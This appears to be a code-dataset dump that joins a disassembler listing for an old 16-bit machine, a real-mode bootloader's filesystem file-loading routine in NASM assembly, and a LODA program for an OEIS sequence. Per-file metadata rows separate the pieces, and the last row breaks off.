0x025A (0x0004B4) 0x4E45- f:00047 d: 69 | A = A << B | **** non-standard encoding with D:0x0045 ****
0x025B (0x0004B6) 0x4C3A- f:00046 d: 58 | A = A >> B | **** non-standard encoding with D:0x003A ****
0x025C (0x0004B8) 0x4350- f:00041 d: 336 | C = 1, io 0520 = BZ
0x025D (0x0004BA) 0x5520- f:00052 d: 288 | A = A + B | **** non-standard encoding with D:0x0120 ****
0x025E (0x0004BC) 0x2020- f:00020 d: 32 | A = OR[32]
0x025F (0x0004BE) 0x4D4F- f:00046 d: 335 | A = A >> B | **** non-standard encoding with D:0x014F ****
0x0260 (0x0004C0) 0x5320- f:00051 d: 288 | A = A & B | **** non-standard encoding with D:0x0120 ****
0x0261 (0x0004C2) 0x2020- f:00020 d: 32 | A = OR[32]
0x0262 (0x0004C4) 0x2020- f:00020 d: 32 | A = OR[32]
0x0263 (0x0004C6) 0x2020- f:00020 d: 32 | A = OR[32]
0x0264 (0x0004C8) 0x2020- f:00020 d: 32 | A = OR[32]
0x0265 (0x0004CA) 0x2020- f:00020 d: 32 | A = OR[32]
0x0266 (0x0004CC) 0x2020- f:00020 d: 32 | A = OR[32]
0x0267 (0x0004CE) 0x2020- f:00020 d: 32 | A = OR[32]
0x0268 (0x0004D0) 0x4853- f:00044 d: 83 | A = A > B | **** non-standard encoding with D:0x0053 ****
0x0269 (0x0004D2) 0x5044- f:00050 d: 68 | A = B | **** non-standard encoding with D:0x0044 ****
0x026A (0x0004D4) 0x2020- f:00020 d: 32 | A = OR[32]
0x026B (0x0004D6) 0x2020- f:00020 d: 32 | A = OR[32]
0x026C (0x0004D8) 0x2020- f:00020 d: 32 | A = OR[32]
0x026D (0x0004DA) 0x202D- f:00020 d: 45 | A = OR[45]
0x026E (0x0004DC) 0x2049- f:00020 d: 73 | A = OR[73]
0x026F (0x0004DE) 0x4F50- f:00047 d: 336 | A = A << B | **** non-standard encoding with D:0x0150 ****
0x0270 (0x0004E0) 0x202D- f:00020 d: 45 | A = OR[45]
0x0271 (0x0004E2) 0x5459- f:00052 d: 89 | A = A + B | **** non-standard encoding with D:0x0059 ****
0x0272 (0x0004E4) 0x5045- f:00050 d: 69 | A = B | **** non-standard encoding with D:0x0045 ****
0x0273 (0x0004E6) 0x2020- f:00020 d: 32 | A = OR[32]
0x0274 (0x0004E8) 0x2020- f:00020 d: 32 | A = OR[32]
0x0275 (0x0004EA) 0x2020- f:00020 d: 32 | A = OR[32]
0x0276 (0x0004EC) 0x2020- f:00020 d: 32 | A = OR[32]
0x0277 (0x0004EE) 0x5359- f:00051 d: 345 | A = A & B | **** non-standard encoding with D:0x0159 ****
0x0278 (0x0004F0) 0x4E44- f:00047 d: 68 | A = A << B | **** non-standard encoding with D:0x0044 ****
0x0279 (0x0004F2) 0x2020- f:00020 d: 32 | A = OR[32]
0x027A (0x0004F4) 0x4D4F- f:00046 d: 335 | A = A >> B | **** non-standard encoding with D:0x014F ****
0x027B (0x0004F6) 0x4445- f:00042 d: 69 | C = 1, IOB = DN | **** non-standard encoding with D:0x0045 ****
0x027C (0x0004F8) 0x2020- f:00020 d: 32 | A = OR[32]
0x027D (0x0004FA) 0x504F- f:00050 d: 79 | A = B | **** non-standard encoding with D:0x004F ****
0x027E (0x0004FC) 0x5254- f:00051 d: 84 | A = A & B | **** non-standard encoding with D:0x0054 ****
0x027F (0x0004FE) 0x2020- f:00020 d: 32 | A = OR[32]
0x0280 (0x000500) 0x4144- f:00040 d: 324 | C = 1, io 0504 = DN
0x0281 (0x000502) 0x4452- f:00042 d: 82 | C = 1, IOB = DN | **** non-standard encoding with D:0x0052 ****
0x0282 (0x000504) 0x4553- f:00042 d: 339 | C = 1, IOB = DN | **** non-standard encoding with D:0x0153 ****
0x0283 (0x000506) 0x5320- f:00051 d: 288 | A = A & B | **** non-standard encoding with D:0x0120 ****
0x0284 (0x000508) 0x2020- f:00020 d: 32 | A = OR[32]
0x0285 (0x00050A) 0x2020- f:00020 d: 32 | A = OR[32]
0x0286 (0x00050C) 0x434F- f:00041 d: 335 | C = 1, io 0517 = BZ
0x0287 (0x00050E) 0x4445- f:00042 d: 69 | C = 1, IOB = DN | **** non-standard encoding with D:0x0045 ****
0x0288 (0x000510) 0x2020- f:00020 d: 32 | A = OR[32]
0x0289 (0x000512) 0x2020- f:00020 d: 32 | A = OR[32]
0x028A (0x000514) 0x424E- f:00041 d: 78 | C = 1, io 0116 = BZ
0x028B (0x000516) 0x4B20- f:00045 d: 288 | A = A < B | **** non-standard encoding with D:0x0120 ****
0x028C (0x000518) 0x2053- f:00020 d: 83 | A = OR[83]
0x028D (0x00051A) 0x4354- f:00041 d: 340 | C = 1, io 0524 = BZ
0x028E (0x00051C) 0x2020- f:00020 d: 32 | A = OR[32]
0x028F (0x00051E) 0x4259- f:00041 d: 89 | C = 1, io 0131 = BZ
0x0290 (0x000520) 0x5420- f:00052 d: 32 | A = A + B | **** non-standard encoding with D:0x0020 ****
0x0291 (0x000522) 0x2020- f:00020 d: 32 | A = OR[32]
0x0292 (0x000524) 0x2043- f:00020 d: 67 | A = OR[67]
0x0293 (0x000526) 0x4F55- f:00047 d: 341 | A = A << B | **** non-standard encoding with D:0x0155 ****
0x0294 (0x000528) 0x4E54- f:00047 d: 84 | A = A << B | **** non-standard encoding with D:0x0054 ****
0x0295 (0x00052A) 0x2020- f:00020 d: 32 | A = OR[32]
0x0296 (0x00052C) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x0297 (0x00052E) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x0298 (0x000530) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x0299 (0x000532) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x029A (0x000534) 0x2020- f:00020 d: 32 | A = OR[32]
0x029B (0x000536) 0x2020- f:00020 d: 32 | A = OR[32]
0x029C (0x000538) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x029D (0x00053A) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x029E (0x00053C) 0x2020- f:00020 d: 32 | A = OR[32]
0x029F (0x00053E) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02A0 (0x000540) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02A1 (0x000542) 0x2020- f:00020 d: 32 | A = OR[32]
0x02A2 (0x000544) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02A3 (0x000546) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02A4 (0x000548) 0x2020- f:00020 d: 32 | A = OR[32]
0x02A5 (0x00054A) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02A6 (0x00054C) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02A7 (0x00054E) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02A8 (0x000550) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02A9 (0x000552) 0x2020- f:00020 d: 32 | A = OR[32]
0x02AA (0x000554) 0x2020- f:00020 d: 32 | A = OR[32]
0x02AB (0x000556) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02AC (0x000558) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02AD (0x00055A) 0x2020- f:00020 d: 32 | A = OR[32]
0x02AE (0x00055C) 0x2020- f:00020 d: 32 | A = OR[32]
0x02AF (0x00055E) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02B0 (0x000560) 0x2D20- f:00026 d: 288 | OR[288] = OR[288] + 1
0x02B1 (0x000562) 0x202D- f:00020 d: 45 | A = OR[45]
0x02B2 (0x000564) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02B3 (0x000566) 0x2020- f:00020 d: 32 | A = OR[32]
0x02B4 (0x000568) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02B5 (0x00056A) 0x2D20- f:00026 d: 288 | OR[288] = OR[288] + 1
0x02B6 (0x00056C) 0x2020- f:00020 d: 32 | A = OR[32]
0x02B7 (0x00056E) 0x202D- f:00020 d: 45 | A = OR[45]
0x02B8 (0x000570) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02B9 (0x000572) 0x2D2D- f:00026 d: 301 | OR[301] = OR[301] + 1
0x02BA (0x000574) 0x2D20- f:00026 d: 288 | OR[288] = OR[288] + 1
0x02BB (0x000576) 0x5343- f:00051 d: 323 | A = A & B | **** non-standard encoding with D:0x0143 ****
0x02BC (0x000578) 0x414C- f:00040 d: 332 | C = 1, io 0514 = DN
0x02BD (0x00057A) 0x492F- f:00044 d: 303 | A = A > B | **** non-standard encoding with D:0x012F ****
0x02BE (0x00057C) 0x4F20- f:00047 d: 288 | A = A << B | **** non-standard encoding with D:0x0120 ****
0x02BF (0x00057E) 0x5645- f:00053 d: 69 | A = A - B | **** non-standard encoding with D:0x0045 ****
0x02C0 (0x000580) 0x4354- f:00041 d: 340 | C = 1, io 0524 = BZ
0x02C1 (0x000582) 0x4654- f:00043 d: 84 | C = 1, IOB = BZ | **** non-standard encoding with D:0x0054 ****
0x02C2 (0x000584) 0x4348- f:00041 d: 328 | C = 1, io 0510 = BZ
0x02C3 (0x000586) 0x5342- f:00051 d: 322 | A = A & B | **** non-standard encoding with D:0x0142 ****
0x02C4 (0x000588) 0x4954- f:00044 d: 340 | A = A > B | **** non-standard encoding with D:0x0154 ****
0x02C5 (0x00058A) 0x464E- f:00043 d: 78 | C = 1, IOB = BZ | **** non-standard encoding with D:0x004E ****
0x02C6 (0x00058C) 0x4354- f:00041 d: 340 | C = 1, io 0524 = BZ
0x02C7 (0x00058E) 0x4143- f:00040 d: 323 | C = 1, io 0503 = DN
0x02C8 (0x000590) 0x5456- f:00052 d: 86 | A = A + B | **** non-standard encoding with D:0x0056 ****
0x02C9 (0x000592) 0x5452- f:00052 d: 82 | A = A + B | **** non-standard encoding with D:0x0052 ****
0x02CA (0x000594) 0x4E53- f:00047 d: 83 | A = A << B | **** non-standard encoding with D:0x0053 ****
0x02CB (0x000596) 0x4144- f:00040 d: 324 | C = 1, io 0504 = DN
0x02CC (0x000598) 0x4452- f:00042 d: 82 | C = 1, IOB = DN | **** non-standard encoding with D:0x0052 ****
0x02CD (0x00059A) 0x4441- f:00042 d: 65 | C = 1, IOB = DN | **** non-standard encoding with D:0x0041 ****
0x02CE (0x00059C) 0x5441- f:00052 d: 65 | A = A + B | **** non-standard encoding with D:0x0041 ****
0x02CF (0x00059E) 0x424C- f:00041 d: 76 | C = 1, io 0114 = BZ
0x02D0 (0x0005A0) 0x434B- f:00041 d: 331 | C = 1, io 0513 = BZ
0x02D1 (0x0005A2) 0x4E52- f:00047 d: 82 | A = A << B | **** non-standard encoding with D:0x0052 ****
0x02D2 (0x0005A4) 0x4459- f:00042 d: 89 | C = 1, IOB = DN | **** non-standard encoding with D:0x0059 ****
0x02D3 (0x0005A6) 0x02E5- f:00001 d: 229 | EXIT | **** non-standard encoding with D:0x00E5 ****
0x02D4 (0x0005A8) 0x02E9- f:00001 d: 233 | EXIT | **** non-standard encoding with D:0x00E9 ****
0x02D5 (0x0005AA) 0x02ED- f:00001 d: 237 | EXIT | **** non-standard encoding with D:0x00ED ****
0x02D6 (0x0005AC) 0x02F1- f:00001 d: 241 | EXIT | **** non-standard encoding with D:0x00F1 ****
0x02D7 (0x0005AE) 0x02F5- f:00001 d: 245 | EXIT | **** non-standard encoding with D:0x00F5 ****
0x02D8 (0x0005B0) 0x02F9- f:00001 d: 249 | EXIT | **** non-standard encoding with D:0x00F9 ****
0x02D9 (0x0005B2) 0x02FD- f:00001 d: 253 | EXIT | **** non-standard encoding with D:0x00FD ****
0x02DA (0x0005B4) 0x0301- f:00001 d: 257 | EXIT | **** non-standard encoding with D:0x0101 ****
0x02DB (0x0005B6) 0x0305- f:00001 d: 261 | EXIT | **** non-standard encoding with D:0x0105 ****
0x02DC (0x0005B8) 0x0309- f:00001 d: 265 | EXIT | **** non-standard encoding with D:0x0109 ****
0x02DD (0x0005BA) 0x030D- f:00001 d: 269 | EXIT | **** non-standard encoding with D:0x010D ****
0x02DE (0x0005BC) 0x0311- f:00001 d: 273 | EXIT | **** non-standard encoding with D:0x0111 ****
0x02DF (0x0005BE) 0x494F- f:00044 d: 335 | A = A > B | **** non-standard encoding with D:0x014F ****
0x02E0 (0x0005C0) 0x502D- f:00050 d: 45 | A = B | **** non-standard encoding with D:0x002D ****
0x02E1 (0x0005C2) 0x3020- f:00030 d: 32 | A = (OR[32])
0x02E2 (0x0005C4) 0x2020- f:00020 d: 32 | A = OR[32]
0x02E3 (0x0005C6) 0x494F- f:00044 d: 335 | A = A > B | **** non-standard encoding with D:0x014F ****
0x02E4 (0x0005C8) 0x502D- f:00050 d: 45 | A = B | **** non-standard encoding with D:0x002D ****
0x02E5 (0x0005CA) 0x3120- f:00030 d: 288 | A = (OR[288])
0x02E6 (0x0005CC) 0x2020- f:00020 d: 32 | A = OR[32]
0x02E7 (0x0005CE) 0x494F- f:00044 d: 335 | A = A > B | **** non-standard encoding with D:0x014F ****
0x02E8 (0x0005D0) 0x502D- f:00050 d: 45 | A = B | **** non-standard encoding with D:0x002D ****
0x02E9 (0x0005D2) 0x3220- f:00031 d: 32 | A = A & (OR[32])
0x02EA (0x0005D4) 0x2020- f:00020 d: 32 | A = OR[32]
0x02EB (0x0005D6) 0x494F- f:00044 d: 335 | A = A > B | **** non-standard encoding with D:0x014F ****
0x02EC (0x0005D8) 0x502D- f:00050 d: 45 | A = B | **** non-standard encoding with D:0x002D ****
0x02ED (0x0005DA) 0x3320- f:00031 d: 288 | A = A & (OR[288])
0x02EE (0x0005DC) 0x2020- f:00020 d: 32 | A = OR[32]
0x02EF (0x0005DE) 0x4352- f:00041 d: 338 | C = 1, io 0522 = BZ
0x02F0 (0x0005E0) 0x4159- f:00040 d: 345 | C = 1, io 0531 = DN
0x02F1 (0x0005E2) 0x2020- f:00020 d: 32 | A = OR[32]
0x02F2 (0x0005E4) 0x5342- f:00051 d: 322 | A = A & B | **** non-standard encoding with D:0x0142 ****
0x02F3 (0x0005E6) 0x4352- f:00041 d: 338 | C = 1, io 0522 = BZ
0x02F4 (0x0005E8) 0x4159- f:00040 d: 345 | C = 1, io 0531 = DN
0x02F5 (0x0005EA) 0x2020- f:00020 d: 32 | A = OR[32]
0x02F6 (0x0005EC) 0x4D42- f:00046 d: 322 | A = A >> B | **** non-standard encoding with D:0x0142 ****
0x02F7 (0x0005EE) 0x4D4F- f:00046 d: 335 | A = A >> B | **** non-standard encoding with D:0x014F ****
0x02F8 (0x0005F0) 0x5320- f:00051 d: 288 | A = A & B | **** non-standard encoding with D:0x0120 ****
0x02F9 (0x0005F2) 0x2020- f:00020 d: 32 | A = OR[32]
0x02FA (0x0005F4) 0x5342- f:00051 d: 322 | A = A & B | **** non-standard encoding with D:0x0142 ****
0x02FB (0x0005F6) 0x4D4F- f:00046 d: 335 | A = A >> B | **** non-standard encoding with D:0x014F ****
0x02FC (0x0005F8) 0x5320- f:00051 d: 288 | A = A & B | **** non-standard encoding with D:0x0120 ****
0x02FD (0x0005FA) 0x2020- f:00020 d: 32 | A = OR[32]
0x02FE (0x0005FC) 0x4D42- f:00046 d: 322 | A = A >> B | **** non-standard encoding with D:0x0142 ****
0x02FF (0x0005FE) 0x4853- f:00044 d: 83 | A = A > B | **** non-standard encoding with D:0x0053 ****
0x0300 (0x000600) 0x5031- f:00050 d: 49 | A = B | **** non-standard encoding with D:0x0031 ****
0x0301 (0x000602) 0x2020- f:00020 d: 32 | A = OR[32]
0x0302 (0x000604) 0x494E- f:00044 d: 334 | A = A > B | **** non-standard encoding with D:0x014E ****
0x0303 (0x000606) 0x4853- f:00044 d: 83 | A = A > B | **** non-standard encoding with D:0x0053 ****
0x0304 (0x000608) 0x5031- f:00050 d: 49 | A = B | **** non-standard encoding with D:0x0031 ****
0x0305 (0x00060A) 0x204F- f:00020 d: 79 | A = OR[79]
0x0306 (0x00060C) 0x5554- f:00052 d: 340 | A = A + B | **** non-standard encoding with D:0x0154 ****
0x0307 (0x00060E) 0x4853- f:00044 d: 83 | A = A > B | **** non-standard encoding with D:0x0053 ****
0x0308 (0x000610) 0x5032- f:00050 d: 50 | A = B | **** non-standard encoding with D:0x0032 ****
0x0309 (0x000612) 0x2020- f:00020 d: 32 | A = OR[32]
0x030A (0x000614) 0x494E- f:00044 d: 334 | A = A > B | **** non-standard encoding with D:0x014E ****
0x030B (0x000616) 0x4853- f:00044 d: 83 | A = A > B | **** non-standard encoding with D:0x0053 ****
0x030C (0x000618) 0x5032- f:00050 d: 50 | A = B | **** non-standard encoding with D:0x0032 ****
0x030D (0x00061A) 0x204F- f:00020 d: 79 | A = OR[79]
0x030E (0x00061C) 0x5554- f:00052 d: 340 | A = A + B | **** non-standard encoding with D:0x0154 ****
0x030F (0x00061E) 0x4F4E- f:00047 d: 334 | A = A << B | **** non-standard encoding with D:0x014E ****
0x0310 (0x000620) 0x2020- f:00020 d: 32 | A = OR[32]
0x0311 (0x000622) 0x4F46- f:00047 d: 326 | A = A << B | **** non-standard encoding with D:0x0146 ****
0x0312 (0x000624) 0x4620- f:00043 d: 32 | C = 1, IOB = BZ | **** non-standard encoding with D:0x0020 ****
0x0313 (0x000626) 0x494E- f:00044 d: 334 | A = A > B | **** non-standard encoding with D:0x014E ****
0x0314 (0x000628) 0x5641- f:00053 d: 65 | A = A - B | **** non-standard encoding with D:0x0041 ****
0x0315 (0x00062A) 0x4C49- f:00046 d: 73 | A = A >> B | **** non-standard encoding with D:0x0049 ****
0x0316 (0x00062C) 0x4420- f:00042 d: 32 | C = 1, IOB = DN | **** non-standard encoding with D:0x0020 ****
0x0317 (0x00062E) 0x0000- f:00000 d: 0 | PASS
0x0318 (0x000630) 0x0000- f:00000 d: 0 | PASS
0x0319 (0x000632) 0x0000- f:00000 d: 0 | PASS
0x031A (0x000634) 0x0000- f:00000 d: 0 | PASS
0x031B (0x000636) 0x0000- f:00000 d: 0 | PASS
0x031C (0x000638) 0x0000- f:00000 d: 0 | PASS
0x031D (0x00063A) 0x0000- f:00000 d: 0 | PASS
0x031E (0x00063C) 0x0000- f:00000 d: 0 | PASS
0x031F (0x00063E) 0x0000- f:00000 d: 0 | PASS
0x0320 (0x000640) 0x0000- f:00000 d: 0 | PASS
0x0321 (0x000642) 0x0000- f:00000 d: 0 | PASS
0x0322 (0x000644) 0x0000- f:00000 d: 0 | PASS
0x0323 (0x000646) 0x0000- f:00000 d: 0 | PASS
0x0324 (0x000648) 0x0000- f:00000 d: 0 | PASS
0x0325 (0x00064A) 0x0000- f:00000 d: 0 | PASS
0x0326 (0x00064C) 0x0000- f:00000 d: 0 | PASS
0x0327 (0x00064E) 0x0000- f:00000 d: 0 | PASS
0x0328 (0x000650) 0x0000- f:00000 d: 0 | PASS
0x0329 (0x000652) 0x0000- f:00000 d: 0 | PASS
0x032A (0x000654) 0x0000- f:00000 d: 0 | PASS
0x032B (0x000656) 0x0000- f:00000 d: 0 | PASS
0x032C (0x000658) 0x0000- f:00000 d: 0 | PASS
0x032D (0x00065A) 0x0000- f:00000 d: 0 | PASS
0x032E (0x00065C) 0x0000- f:00000 d: 0 | PASS
0x032F (0x00065E) 0x0000- f:00000 d: 0 | PASS
0x0330 (0x000660) 0x0000- f:00000 d: 0 | PASS
0x0331 (0x000662) 0x0000- f:00000 d: 0 | PASS
0x0332 (0x000664) 0x0000- f:00000 d: 0 | PASS
0x0333 (0x000666) 0x0000- f:00000 d: 0 | PASS
0x0334 (0x000668) 0x0000- f:00000 d: 0 | PASS
0x0335 (0x00066A) 0x0000- f:00000 d: 0 | PASS
0x0336 (0x00066C) 0x0000- f:00000 d: 0 | PASS
0x0337 (0x00066E) 0x0000- f:00000 d: 0 | PASS
0x0338 (0x000670) 0x0000- f:00000 d: 0 | PASS
0x0339 (0x000672) 0x0000- f:00000 d: 0 | PASS
0x033A (0x000674) 0x0000- f:00000 d: 0 | PASS
0x033B (0x000676) 0x0000- f:00000 d: 0 | PASS
0x033C (0x000678) 0x0000- f:00000 d: 0 | PASS
0x033D (0x00067A) 0x0000- f:00000 d: 0 | PASS
0x033E (0x00067C) 0x0000- f:00000 d: 0 | PASS
0x033F (0x00067E) 0x0000- f:00000 d: 0 | PASS
0x0340 (0x000680) 0x0000- f:00000 d: 0 | PASS
0x0341 (0x000682) 0x0000- f:00000 d: 0 | PASS
0x0342 (0x000684) 0x0000- f:00000 d: 0 | PASS
0x0343 (0x000686) 0x0000- f:00000 d: 0 | PASS
0x0344 (0x000688) 0x0000- f:00000 d: 0 | PASS
0x0345 (0x00068A) 0x0000- f:00000 d: 0 | PASS
0x0346 (0x00068C) 0x0000- f:00000 d: 0 | PASS
0x0347 (0x00068E) 0x0000- f:00000 d: 0 | PASS
0x0348 (0x000690) 0x0000- f:00000 d: 0 | PASS
0x0349 (0x000692) 0x0000- f:00000 d: 0 | PASS
0x034A (0x000694) 0x0000- f:00000 d: 0 | PASS
0x034B (0x000696) 0x0000- f:00000 d: 0 | PASS
0x034C (0x000698) 0x0000- f:00000 d: 0 | PASS
0x034D (0x00069A) 0x0000- f:00000 d: 0 | PASS
0x034E (0x00069C) 0x0000- f:00000 d: 0 | PASS
0x034F (0x00069E) 0x0000- f:00000 d: 0 | PASS
0x0350 (0x0006A0) 0x0000- f:00000 d: 0 | PASS
0x0351 (0x0006A2) 0x0000- f:00000 d: 0 | PASS
0x0352 (0x0006A4) 0x0000- f:00000 d: 0 | PASS
0x0353 (0x0006A6) 0x0000- f:00000 d: 0 | PASS
0x0354 (0x0006A8) 0x0000- f:00000 d: 0 | PASS
0x0355 (0x0006AA) 0x0000- f:00000 d: 0 | PASS
0x0356 (0x0006AC) 0x0000- f:00000 d: 0 | PASS
0x0357 (0x0006AE) 0x0000- f:00000 d: 0 | PASS
0x0358 (0x0006B0) 0x0000- f:00000 d: 0 | PASS
0x0359 (0x0006B2) 0x0000- f:00000 d: 0 | PASS
0x035A (0x0006B4) 0x0000- f:00000 d: 0 | PASS
0x035B (0x0006B6) 0x0000- f:00000 d: 0 | PASS
0x035C (0x0006B8) 0x0000- f:00000 d: 0 | PASS
0x035D (0x0006BA) 0x0000- f:00000 d: 0 | PASS
0x035E (0x0006BC) 0x0000- f:00000 d: 0 | PASS
0x035F (0x0006BE) 0x0000- f:00000 d: 0 | PASS
0x0360 (0x0006C0) 0x0000- f:00000 d: 0 | PASS
0x0361 (0x0006C2) 0x0000- f:00000 d: 0 | PASS
0x0362 (0x0006C4) 0x0000- f:00000 d: 0 | PASS
0x0363 (0x0006C6) 0x0000- f:00000 d: 0 | PASS
0x0364 (0x0006C8) 0x0000- f:00000 d: 0 | PASS
0x0365 (0x0006CA) 0x0000- f:00000 d: 0 | PASS
0x0366 (0x0006CC) 0x0000- f:00000 d: 0 | PASS
0x0367 (0x0006CE) 0x0000- f:00000 d: 0 | PASS
0x0368 (0x0006D0) 0x0000- f:00000 d: 0 | PASS
0x0369 (0x0006D2) 0x0000- f:00000 d: 0 | PASS
0x036A (0x0006D4) 0x0000- f:00000 d: 0 | PASS
0x036B (0x0006D6) 0x0000- f:00000 d: 0 | PASS
0x036C (0x0006D8) 0x0000- f:00000 d: 0 | PASS
0x036D (0x0006DA) 0x0000- f:00000 d: 0 | PASS
0x036E (0x0006DC) 0x0000- f:00000 d: 0 | PASS
0x036F (0x0006DE) 0x0000- f:00000 d: 0 | PASS
0x0370 (0x0006E0) 0x0000- f:00000 d: 0 | PASS
0x0371 (0x0006E2) 0x0000- f:00000 d: 0 | PASS
0x0372 (0x0006E4) 0x0000- f:00000 d: 0 | PASS
0x0373 (0x0006E6) 0x0000- f:00000 d: 0 | PASS
0x0374 (0x0006E8) 0x0000- f:00000 d: 0 | PASS
0x0375 (0x0006EA) 0x0000- f:00000 d: 0 | PASS
0x0376 (0x0006EC) 0x0000- f:00000 d: 0 | PASS
0x0377 (0x0006EE) 0x0000- f:00000 d: 0 | PASS
0x0378 (0x0006F0) 0x0000- f:00000 d: 0 | PASS
0x0379 (0x0006F2) 0x0000- f:00000 d: 0 | PASS
0x037A (0x0006F4) 0x0000- f:00000 d: 0 | PASS
0x037B (0x0006F6) 0x0000- f:00000 d: 0 | PASS
0x037C (0x0006F8) 0x0000- f:00000 d: 0 | PASS
0x037D (0x0006FA) 0x0000- f:00000 d: 0 | PASS
0x037E (0x0006FC) 0x0000- f:00000 d: 0 | PASS
0x037F (0x0006FE) 0x0000- f:00000 d: 0 | PASS
| 85.327125 | 127 | 0.463409 |
eace045786cd875de43b1bac13c7635da579bf10 | 2,674 | asm | Assembly | Bootloader/Stage2/Filesystem.asm | Archlisk/fos2 | f6a6efcaf1d29ccabdef7d9f713cc0b80f1b6565 | [
"MIT"
] | null | null | null | Bootloader/Stage2/Filesystem.asm | Archlisk/fos2 | f6a6efcaf1d29ccabdef7d9f713cc0b80f1b6565 | [
"MIT"
] | null | null | null | Bootloader/Stage2/Filesystem.asm | Archlisk/fos2 | f6a6efcaf1d29ccabdef7d9f713cc0b80f1b6565 | [
"MIT"
] | null | null | null | %include "BIOS_Drive.asm"
[BITS 16]
struc FS_VolumeDescriptor
fsvd_signature resb 8
fsvd_version_major resb 1
fsvd_version_minor resb 1
fsvd_vol_name resb 24
fsvd_os_name resb 16
fsvd_block_size resb 4
fsvd_vol_start_lba resb 8
fsvd_vol_end_lba resb 8
fsvd_root_dir_block resb 8
FSVD_SIZE equ $
endstruc
struc FS_DirectoryDescriptor
fsdd_entries resb 4
fsdd_start_block resb 8
fsdd_next_block resb 8
FSDD_SIZE equ $
endstruc
struc FS_DirectoryEntryDescriptor
fsded_type resb 1
fsded_block resb 8
fsded_name resb 24
FSDED_SIZE equ $
FSDED_TYPE_FILE equ 0
FSDED_TYPE_DIR equ 1
endstruc
struc FS_FileDescriptor
fsfd_blocks resb 8
fsfd_start_block resb 8
fsfd_next_block resb 8
FSFD_SIZE equ $
endstruc
SECTION .data
fsvd_ptr: dw 0
fs_drive: db 0
SECTION .text
fs_load_fsvd:
mov [fsvd_ptr], ax
mov [fs_drive], dl
ret
cmp_filename:
push si
push bx
.loop:
mov al, [bx]
cmp [si], al
je .skip
cmp byte [si], '/'
jne .is_neq
cmp al, 0
jne .is_neq
.skip:
cmp byte [si], 0
je .is_eq
cmp byte [si], '/'
je .is_eq
inc bx
inc si
jmp .loop
.is_eq:
mov ax, 1
jmp .end
.is_neq:
mov ax, 0
jmp .end
.end:
pop bx
pop si
ret
len_filename:
push si
xor ax, ax
.loop:
cmp byte [si], 0
je .end
cmp byte [si], '/'
je .end
inc si
inc ax
jmp .loop
.end:
pop si
ret
fs_file_not_found_error:
print "File not found"
jmp fs_error_hlt
fs_expected_dir_error:
print "Expected a directory"
jmp fs_error_hlt
fs_expected_file_error:
print "Expected a file"
jmp fs_error_hlt
fs_error_hlt:
cli
hlt
fs_load_file:
push ebx
push cx
push si
push bp
push dx
mov dl, [fs_drive]
mov bx, [fsvd_ptr]
mov ebx, [bx + fsvd_root_dir_block]
call read_sector
.loop:
xor ebx, ebx
mov bx, ax
mov cx, [bx + fsdd_entries]
mov ebx, [bx + fsdd_start_block]
call read_sector
mov bx, ax
.cmp_loop:
cmp cx, 0
jle fs_file_not_found_error
dec cx
push ax
add bx, fsded_name
call cmp_filename
sub bx, fsded_name
cmp ax, 0
pop ax
jne .cmp_end
add bx, FSDED_SIZE
jmp .cmp_loop
.cmp_end:
push ax
call len_filename
add si, ax
pop ax
cmp byte [si], 0
je .end
mov cl, [bx + fsded_type]
cmp cl, FSDED_TYPE_DIR
jne fs_expected_dir_error
mov ebx, [bx + fsded_block]
call read_sector
inc si
jmp .loop
.end:
mov cl, [bx + fsded_type]
cmp cl, FSDED_TYPE_FILE
jne fs_expected_file_error
mov ebx, [bx + fsded_block]
call read_sector
xor ebx, ebx
mov bx, ax
mov cx, [bx + fsfd_blocks]
mov ebx, [bx + fsfd_start_block]
call read_sectors
mov ax, cx
pop dx
pop bp
pop si
pop cx
pop ebx
ret
| 12.099548 | 36 | 0.694091 |
06c8c9c2610e1736d766eec8501370c4dac17eee | 490 | asm | Assembly | oeis/248/A248086.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/248/A248086.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/248/A248086.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A248086: Sum of the eccentricities of all vertices in the Lucas cube Lambda(n).
; Submitted by Christian Krause
; 0,0,5,7,22,37,81,143,276,490,895,1578,2802,4894,8547,14797,25560,43919,75267,128525,218930,371920,630465,1066452,1800612,3034812,5106881,8580883,14398426,24129145,40388085,67527563,112786512
mov $2,1
lpb $0
sub $0,1
add $1,$3
add $1,3
mul $3,2
sub $3,$4
mov $4,$2
mov $2,$3
add $2,$1
mov $1,$3
add $4,2
mov $5,$0
add $5,$4
mov $3,$5
lpe
mov $0,$1
| 22.272727 | 192 | 0.671429 |
74fedc903ec9e72343aa30b93f8cfde5f7fff7e7 | 416 | asm | Assembly | programs/oeis/087/A087743.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
